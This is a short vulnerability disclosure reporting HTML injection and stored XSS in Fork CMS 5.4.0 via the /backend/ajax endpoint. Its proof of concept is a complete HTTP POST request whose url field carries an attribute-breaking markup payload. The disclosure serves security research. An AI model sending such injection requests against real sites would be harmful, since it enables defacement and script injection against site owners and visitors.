Fork CMS 5.4.0 Cross Site Scripting / HTML Injection

`# Exploit Title: Fork CMS 5.4.0 - HTML Injection and Stored XSS  
# Date: 2018-09-26   
# Exploit Author: Ismail Tasdelen  
# Vendor Homepage: https://www.fork-cms.com/  
# Software Link : https://github.com/forkcms/forkcms  
# Software : Fork 5.4.0  
# Product Version: 5.4.0  
# Vulernability Type : Code Injection  
# Vulenrability : HTML Injection and Stored XSS  
  
In the 5.4.0 version of the Fork CMS software, HTML Injection and Stored XSS vulnerabilities were discovered via the /backend/ajax URI.  
  
# HTTP POST Request :  
  
POST /backend/ajax HTTP/1.1  
Host: demo.fork-cms.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: https://demo.fork-cms.com/private/en/pages/add?token=2quwpxbx78  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 299  
Cookie: track=s%3A32%3A%22e36b0c664ad21e30c493893c3612f5cc%22%3B; PHPSESSID=1103079034ec4a8e726bea6a0746731e; interface_language=en; frontend_language=en; track=1; jstree_open=page-425  
Connection: close  
  
fork%5Bmodule%5D=Core&fork%5Baction%5D=GenerateUrl&fork%5Blanguage%5D=en&url=%22%3E%3Ch1%3EIsmail+Tasdelen%3C%2Fh1%3E&metaId=&baseFieldName=title&custom=1&className=Backend%5CModules%5CPages%5CEngine%5CModel&methodName=getUrl&parameters=a%3A3%3A%7Bi%3A0%3Bi%3A0%3Bi%3A1%3Bi%3A0%3Bi%3A2%3Bb%3A0%3B%7D  
`